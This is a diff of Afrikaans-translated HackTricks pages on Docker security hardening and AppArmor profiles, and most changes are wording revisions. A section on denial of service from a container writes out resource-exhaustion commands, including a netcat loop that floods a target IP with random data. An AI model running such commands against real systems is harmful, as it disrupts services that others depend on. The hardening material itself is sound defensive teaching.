@ -128,7 +129,7 @@ In gekontainerde omgewings is die isolering van projekte en hul prosesse van uit
* **Doel**: Verseker isolasie van hulpbronne soos prosesse, netwerke, en lêersisteme. Veral in Docker hou namespaces 'n kontainer se prosesse geskei van die gasheer en ander kontainers.
* **Gebruik van `unshare`**: Die `unshare`-bevel (of die onderliggende stelseloortjie) word gebruik om nuwe namespaces te skep, wat 'n bygevoegde laag van isolasie bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit.
* **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om terug te keer na die gasheer se verstek-namespaces nie. Om deur te dring na die gasheer se namespaces, sou 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik.
* **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om terug te keer na die gasheer se versteknamespaces nie. Om deur te dring tot die gasheer se namespaces, sal 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik.
**Beheergroepe (CGroups)**
@ -138,7 +139,7 @@ In gekontainerde omgewings is die isolering van projekte en hul prosesse van uit
**Bevoegdheidsverwerping**
* **Belangrikheid**: Dit is 'n kritieke sekuriteitskenmerk vir proses-isolasie.
* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dit om bevoorregte aksies uit te voer, aangesien die stelseloortjies sal misluk as gevolg van ontoereikende toestemmings.
* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dit om bevoorregte aksies uit te voer, aangesien die stelseloortjies sal misluk weens ontoereikende toestemmings.
Dit is die **oorblywende bevoegdhede** nadat die proses die ander laat val:
@ -163,15 +164,15 @@ Dit sal toelaat om kapasiteite, syscalls, toegang tot lêers en vouers te vermin
### Namespaces
**Namespaces** is 'n kenmerk van die Linux-kernel wat **kernelbronne verdeel** sodat een stel **prosesse** een stel **bronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel bronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel bronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike bronne. Bronne kan in meervoudige ruimtes bestaan.
**Namespaces** is 'n kenmerk van die Linux kernel wat **kernel hulpbronne verdeel** sodat een stel **prosesse** een stel **hulpbronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel hulpbronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel hulpbronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike hulpbronne. Hulpbronne kan in meervoudige ruimtes bestaan.
Docker maak gebruik van die volgende Linux-kernel Namespaces om houer-isolasie te bereik:
Docker maak gebruik van die volgende Linux kernel Namespaces om Kontainer isolasie te bereik:
* pid-namespace
* berg-namespace
* netwerk-namespace
* ipc-namespace
* UTS-namespace
* pid namespace
* mount namespace
* network namespace
* ipc namespace
* UTS namespace
Vir **meer inligting oor die namespaces** kyk na die volgende bladsy:
@ -181,8 +182,8 @@ Vir **meer inligting oor die namespaces** kyk na die volgende bladsy:
### cgroups
Linux-kernelkenmerk **cgroups** bied die vermoë om **bronne soos cpu, geheue, io, netwerkbandwydte onder** 'n stel prosesse te **beperk**. Docker maak dit moontlik om Houers te skep met behulp van die cgroup-funksie wat hulpbronnebeheer vir die spesifieke Houer moontlik maak.\
Hieronder is 'n Houer geskep met gebruikerspasiëntgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat die Houer se CPU-gebruik beheer. Dit het 'n standaardwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Houers dieselfde CPU-aandeel van 1024 het, kan elke Houer tot 33% van die CPU neem in geval van CPU-hulpbronstrydigheid. blkio-weight is 'n verhouding wat die Houer se IO beheer. Dit het 'n standaardwaarde van 500 en 'n reeks tussen 10 en 1000.
Linux kernel kenmerk **cgroups** bied die vermoë om **hulpbronne soos cpu, geheue, io, netwerkbandwydte onder** 'n stel prosesse te **beperk**. Docker maak dit moontlik om Kontainers te skep met behulp van die cgroup-funksie wat hulpbronbeheer vir die spesifieke Kontainer moontlik maak.\
Hieronder is 'n Kontainer geskep met gebruikerspasiëntgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat Kontainer se CPU-gebruik beheer. Dit het 'n standaardwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Kontainers dieselfde CPU-aandeel van 1024 het, kan elke Kontainer tot 33% van die CPU neem in geval van CPU-hulpbronstryd. blkio-weight is 'n verhouding wat Kontainer se IO beheer. Dit het 'n standaardwaarde van 500 en 'n reeks tussen 10 en 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -202,7 +203,7 @@ Vir meer inligting kyk:
Bevoegdhede maak **fyn beheer vir die bevoegdhede wat aan die root-gebruiker toegelaat kan word**. Docker gebruik die Linux-kernel bevoegdheidseienskap om **die operasies wat binne 'n houer gedoen kan word te beperk** ongeag die tipe gebruiker.
Wanneer 'n docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om te ontsnap uit die isolasie**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie:
Wanneer 'n Docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om te ontsnap uit die isolasie**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@ -243,7 +244,7 @@ Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer
In Docker speel 'n outorisasie-inprop 'n kritieke rol in sekuriteit deur te besluit of versoek aan die Docker-daemon toegelaat of geblokkeer moet word. Hierdie besluit word geneem deur twee sleutelkontekste te ondersoek:
* **Outentiseringskonteks**: Dit sluit omvattende inligting oor die gebruiker in, soos wie hulle is en hoe hulle hulself geoutentiseer het.
* **Bevelkonteks**: Dit sluit alle relevante data in wat verband hou met die versoek wat gedoen word.
* **Opdragkonteks**: Dit behels alle relevante data wat verband hou met die versoek wat gedoen word.
Hierdie kontekste help verseker dat slegs legitieme versoek van geoutentiseerde gebruikers verwerk word, wat die sekuriteit van Docker-operasies verbeter.
@ -253,7 +254,7 @@ Hierdie kontekste help verseker dat slegs legitieme versoek van geoutentiseerde
## DoS vanuit 'n houer
As jy nie die hulpbronne wat 'n houer kan gebruik behoorlik beperk nie, kan 'n gekompromitteerde houer die gasheer waarop dit hardloop, DoS.
As jy nie die hulpbronne wat 'n houer kan gebruik behoorlik beperk nie, kan 'n gekompromitteerde houer die gasheer waarop dit hardloop DoS.
* CPU DoS
```bash
@ -263,7 +264,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
* Bandbreedte DoS
* Bandwydte DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
@ -279,11 +280,11 @@ Op die volgende bladsy kan jy leer **wat impliseer die `--bevoorregte` vlag**:
### --sekuriteit-optie
#### geen-nuwe-bevoorregting
#### geen-nuwe-bevoegdhede
As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-bevoorregte gebruiker. As jy 'n **sleg-gekonfigureerde suid-binêre lêer** het, kan die aanvaller dit misbruik en **bevoorregting binne** die houer **opgradeer**. Dit kan hom moontlik toelaat om daaruit te ontsnap.
As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-bevoegdheidsgebruiker. As jy 'n **sleg-gekonfigureerde suid-binêre lêer** het, kan die aanvaller dit misbruik en **bevoegdhede binne** die houer **opgradeer**. Dit kan hom toelaat om daaruit te ontsnap.
Die houer hardloop met die **`geen-nuwe-bevoorregting`** opsie geaktiveer sal **hierdie soort bevoorregtingsopgradering voorkom**.
Die houer hardloop met die **`geen-nuwe-bevoegdhede`** opsie geaktiveer sal **hierdie soort bevoorregte opgradering voorkom**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -308,19 +309,19 @@ Vir meer **`--security-opt`**-opsies, kyk na: [https://docs.docker.com/engine/re
### Bestuur van Geheime: Beste Praktyke
Dit is noodsaaklik om te vermy om geheime direk in Docker-beelde in te sluit of om omgewingsveranderlikes te gebruik, aangesien hierdie metodes jou sensitiewe inligting blootstel aan enigiemand met toegang tot die houer deur bevele soos `docker inspect` of `exec`.
Dit is noodsaaklik om te vermy om geheime direk in Docker-beelde in te sluit of om omgewingsveranderlikes te gebruik, aangesien hierdie metodes jou sensitiewe inligting blootstel aan enigiemand met toegang tot die houer deur opdragte soos `docker inspect` of `exec`.
**Docker volumes** is 'n veiliger alternatief, aanbeveel vir die benadering van sensitiewe inligting. Hulle kan gebruik word as 'n tydelike lêersisteem in die geheue, wat die risiko's wat verband hou met `docker inspect` en logging verminder. Nietemin kan root-gebruikers en diegene met `exec`-toegang tot die houer steeds die geheime benader.
**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle waar geheime tydens die beeldboufase benodig word, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd-geheime, wat bou spoed verbeter en addisionele kenmerke bied.
**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle wat geheime tydens die beeldboufase benodig, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd-geheime, wat bou spoed verbeter en addisionele kenmerke bied.
Om van BuildKit gebruik te maak, kan dit op drie maniere geaktiveer word:
1. Deur 'n omgewingsveranderlike: `export DOCKER_BUILDKIT=1`
2. Deur bevele te voorafgaan: `DOCKER_BUILDKIT=1 docker build .`
2. Deur opdragte te voorafgaan: `DOCKER_BUILDKIT=1 docker build .`
3. Deur dit standaard in die Docker-konfigurasie te aktiveer: `{ "features": { "buildkit": true } }`, gevolg deur 'n Docker-herlaai.
BuildKit maak die gebruik van bou-tyd-geheime met die `--secret`-opsie moontlik, wat verseker dat hierdie geheime nie ingesluit word in die beeldbou-kas of die finale beeld nie, deur 'n bevel soos:
BuildKit maak die gebruik van bou-tyd-geheime met die `--secret`-opsie moontlik, wat verseker dat hierdie geheime nie ingesluit word in die beeldbou-kas of die finale beeld nie, deur 'n opdrag soos die volgende te gebruik:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
@ -337,50 +338,50 @@ secrets:
my_secret:
file: ./my_secret_file.txt
```
Hierdie konfigurasie maak dit moontlik om geheime te gebruik wanneer dienste met Docker Compose begin.
Hierdie konfigurasie maak die gebruik van geheime inligting moontlik wanneer dienste met Docker Compose begin word.
In Kubernetes-omgewings word geheime ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rol Gebaseerde Toegangsbeheer (RBAC) verbeter geheimbestuursekuriteit, soortgelyk aan Docker Enterprise.
In Kubernetes-omgewings word geheime inligting op 'n ingeboude manier ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rol Gebaseerde Toegangsbeheer (RBAC) verbeter geheime bestuursbeveiliging, soortgelyk aan Docker Enterprise.
### gVisor
**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isoleringgrens tussen die aansoek en die gasheerkernel** bied. Die `runsc`-uitvoertyd integreer met Docker en Kubernetes, wat dit eenvoudig maak om gesandbokte houers te hardloop.
**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isolasiegrens tussen die aansoek en die gasheerkernel** bied. Die `runsc` uitvoertyd integreer met Docker en Kubernetes, wat dit eenvoudig maak om gesandbokte houers te hardloop.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is 'n oopbron-gemeenskap wat werk om 'n veilige houeruitvoertyd met ligte virtuele masjiene te bou wat soos houers voel en optree, maar **sterker werklas-isolering bied deur hardeware-virtualisasietegnologie as 'n tweede verdedigingslaag** te gebruik.
**Kata Containers** is 'n oopbron-gemeenskap wat werk aan die bou van 'n veilige houeruitvoertyd met ligte virtuele masjiene wat soos houers voel en optree, maar **sterker werklas-isolasie bied deur hardeware-virtualisering** tegnologie as 'n tweede verdedigingslaag.
{% embed url="https://katacontainers.io/" %}
### Opsomming van Wenke
* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-socket binne die houer koppel**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker-socket maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop.
* Moet **nie as wortel binne die houer hardloop nie. Gebruik 'n** [**verskillende gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruikersnaamruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruikersnaamruimtes herkart is. Dit word slegs lig beperk deur, hoofsaaklik, Linux-naamruimtes, vermoëns en cgroups.
* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werklaste benodig nie enige vermoëns nie en die byvoeging daarvan verhoog die omvang van 'n potensiële aanval.
* [**Gebruik die "no-new-privileges" veiligheidsoptie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer vermoëns verkry, byvoorbeeld deur suid-binêre lêers.
* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-aansluiting binne die houer monteer nie**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker-aansluiting maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop.
* Moet **nie as wortel binne die houer hardloop nie. Gebruik 'n** [**verskillende gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruiker-ruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruiker-ruimtes herkartografeer word. Dit word slegs lig beperk deur, hoofsaaklik, Linux-ruimtes, vermoëns en cgroups.
* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werkbelastings benodig nie enige vermoëns nie en die byvoeging daarvan verhoog die omvang van 'n potensiële aanval.
* [**Gebruik die "geen-nuwe-voorregte" veiligheidsoptie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer voorregte verkry, byvoorbeeld deur suid-binêre lêers.
* [**Beperk hulpbronne wat aan die houer beskikbaar is**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diensaanvalle beskerm.
* **Pas** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(of SELinux)** profiele aan om die aksies en stelseloproepe wat vir die houer beskikbaar is, tot die minimum benodigde te beperk.
* **Gebruik** [**amptelike docker-beelde**](https://docs.docker.com/docker-hub/official\_images/) **en vereis handtekeninge** of bou jou eie gebaseer op hulle. Moet nie erfenis of [agterdeur](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde gebruik nie. Berg ook wortelsleutels, wagwoord op 'n veilige plek op. Docker het planne om sleutels met UCP te bestuur.
* **Herbou gereeld** jou beelde om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.**
* Bestuur jou **geheime wys** sodat dit moeilik is vir die aanvaller om daartoe toegang te verkry.
* Bestuur jou **geheime inligting wyslik** sodat dit moeilik vir die aanvaller is om daartoe toegang te verkry.
* As jy **die docker-daemon blootstel, gebruik HTTPS** met klient- en bedienerverifikasie.
* In jou Dockerfile, **gee voorkeur aan KOPIE in plaas van BYVOEG**. BYVOEG onttrek outomaties gezip-lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik die gebruik van BYVOEG sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie.
* In jou Dockerfile, **gee voorkeur aan KOPIE in plaas van BYVOEG**. BYVOEG onttrek outomaties gezipde lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik BYVOEG sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie.
* Het **afsonderlike houers vir elke mikrodiens**
* **Moenie ssh** binne die houer sit nie, "docker exec" kan gebruik word om na die houer te ssh.
* Het **kleiner** houer **beelde**
## Docker Uitbreek / Voorreg-escalasie
## Docker Uitbreek / Voorreg-Opgradering
As jy **binne 'n docker-houer** is of jy toegang het tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te eskaleer**:
As jy **binne 'n docker-houer** is of toegang het tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te opgradeer**:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
## Docker-verifikasiepropbypass
## Docker Verifikasie Inprop Deurloophaal
As jy toegang het tot die docker-socket of toegang het tot 'n gebruiker in die **docker-groep, maar jou aksies word beperk deur 'n docker-verifikasieprop**, kyk of jy dit kan **verbygaan:**
As jy toegang het tot die docker-aansluiting of toegang het tot 'n gebruiker in die **docker-groep maar jou aksies word beperk deur 'n docker-verifikasie-inprop**, kyk of jy dit kan **deurloophaal:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -410,20 +411,22 @@ Jy moet die gereedskap vanaf die gasheer wat Docker hardloop of vanaf 'n houer m
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik werkstrome te bou en te **outomatiseer** met die wêreld se **mees gevorderde** gemeenskapsgereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskap.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks uitrusting**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# AppArmor
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromiteer** is deur **steelware**.
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteelware.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
@ -30,24 +31,24 @@ Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
## Basiese Inligting
AppArmor is 'n **kernel-verbetering ontwerp om die hulpbronne wat beskikbaar is vir programme deur per-program profiele te beperk**, wat effektief Mandatoriese Toegangsbeheer (MAC) implementeer deur toegangsbeheerkenmerke direk aan programme te koppel eerder as aan gebruikers. Hierdie stelsel werk deur **profiele in die kernel te laai**, gewoonlik tydens opstart, en hierdie profiele bepaal watter hulpbronne 'n program kan benader, soos netwerkverbindinge, rou sokkeltoegang, en lêertoestemmings.
AppArmor is 'n **kernel-verbetering ontwerp om die hulpbronne wat beskikbaar is vir programme deur per-program profiele te beperk**, wat effektief Mandatoriese Toegangsbeheer (MAC) implementeer deur toegangsbeheer-eienskappe direk aan programme te koppel eerder as aan gebruikers. Hierdie stelsel werk deur **profiele in die kernel te laai**, gewoonlik tydens opstart, en hierdie profiele bepaal watter hulpbronne 'n program kan benader, soos netwerkverbindinge, rou sokkeltoegang, en lêertoestemmings.
Daar is twee bedryfsmodusse vir AppArmor profiele:
Daar is twee bedryfsmodusse vir AppArmor-profiele:
* **Afdwingingsmodus**: Hierdie modus dwing aktief die beleide wat binne die profiel gedefinieer is, blokkeer aksies wat hierdie beleide oortree en log enige pogings om dit te breek deur stelsels soos syslog of auditd.
* **Klaagmodus**: Anders as afdwingingsmodus, blokkeer klaagmodus nie aksies wat teen die beleide van die profiel ingaan nie. Dit log eerder hierdie pogings as beleidoortredings sonder om beperkings af te dwing.
* **Afdwingingsmodus**: Hierdie modus dwing aktief die beleide wat binne die profiel gedefinieer is, deur aksies te blokkeer wat hierdie beleide oortree en enige pogings om dit te breek deur stelsels soos syslog of auditd te log.
* **Klaagmodus**: Anders as afdwingingsmodus, blokkeer klaagmodus nie aksies wat teen die profiel se beleide ingaan nie. Dit log eerder hierdie pogings as beleidoortredings sonder om beperkings af te dwing.
### Komponente van AppArmor
* **Kernelmodule**: Verantwoordelik vir die afdwinging van beleide.
* **Beleide**: Spesifiseer die reëls en beperkings vir programgedrag en hulpbronbenadering.
* **Parser**: Laai beleide in die kernel vir afdwinging of verslagdoening.
* **Hulpprogramme**: Dit is gebruikersmodusprogramme wat 'n koppelvlak bied vir interaksie met en bestuur van AppArmor.
* **Hulpprogramme**: Dit is gebruikersmodus-programme wat 'n koppelvlak bied vir interaksie met en bestuur van AppArmor.
### Profiele pad
### Profiele-pad
Apparmor profiele word gewoonlik gestoor in _**/etc/apparmor.d/**_\
Met `sudo aa-status` sal jy in staat wees om die bineêre lêers te lys wat beperk word deur 'n profiel. As jy die karakter "/" vir 'n punt van die pad van elke gelysde bineêre lêer kan verander, sal jy die naam van die apparmor-profiel binne die genoemde vouer kry.
Apparmor-profiele word gewoonlik gestoor in _**/etc/apparmor.d/**_\
Met `sudo aa-status` sal jy in staat wees om die bineêre lêers te lys wat deur 'n profiel beperk word. As jy die karakter "/" vir 'n punt van die pad van elke gelysde bineêre lêer kan verander, sal jy die naam van die apparmor-profiel binne die genoemde vouer kry.
Byvoorbeeld, 'n **apparmor**-profiel vir _/usr/bin/man_ sal geleë wees in _/etc/apparmor.d/usr.bin.man_
@ -70,7 +71,7 @@ aa-mergeprof #used to merge the policies
* **m** (geheuekaart as uitvoerbare lêer)
* **k** (lêer sluiting)
* **l** (skep harde skakels)
* **ix** (om 'n ander program uit te voer met die nuwe program wat beleid erf)
* **ix** (om 'n ander program uit te voer met die nuwe program wat die beleid erf)
* **Px** (uitvoer onder 'n ander profiel, na skoonmaak van die omgewing)
* **Cx** (uitvoer onder 'n kinderprofiel, na skoonmaak van die omgewing)
* **Ux** (uitvoer onbeperk, na skoonmaak van die omgewing)
@ -84,14 +85,14 @@ Jy hoef net die volgende uit te voer:
```bash
sudo aa-genprof /path/to/binary
```
Dan, in 'n ander konsole, voer al die aksies uit wat die binêre gewoonlik sal uitvoer:
Dan, voer in 'n ander konsole al die aksies uit wat die binêre gewoonlik sal uitvoer:
```bash
/path/to/binary -a dosomething
```
Dan, in die eerste konsole druk "**s**" en dan in die opgeneemde aksies aandui of jy wil ignoreer, toelaat, of watookal. Wanneer jy klaar is, druk "**f**" en die nuwe profiel sal geskep word in _/etc/apparmor.d/path.to.binary_
Dan, druk in die eerste konsole "**s**" en dui dan in die opgeneemde aksies aan of jy wil ignoreer, toelaat, of enigiets anders. Wanneer jy klaar is, druk "**f**" en die nuwe profiel sal geskep word in _/etc/apparmor.d/path.to.binary_
{% hint style="info" %}
Met die pyltoets kan jy kies wat jy wil toelaat/weier/watookal
Met die pyltjiesleutels kan jy kies wat jy wil toelaat/weier/enigiets anders
{% endhint %}
### aa-easyprof
@ -122,7 +123,7 @@ sudo aa-easyprof /path/to/binary
}
```
{% hint style="info" %}
Let wel dat standaard in 'n geskepte profiel niks toegelaat word nie, so alles word ontken. Jy sal reëls soos `/etc/passwd r,` moet byvoeg om die binêre lees van `/etc/passwd` byvoorbeeld toe te laat.
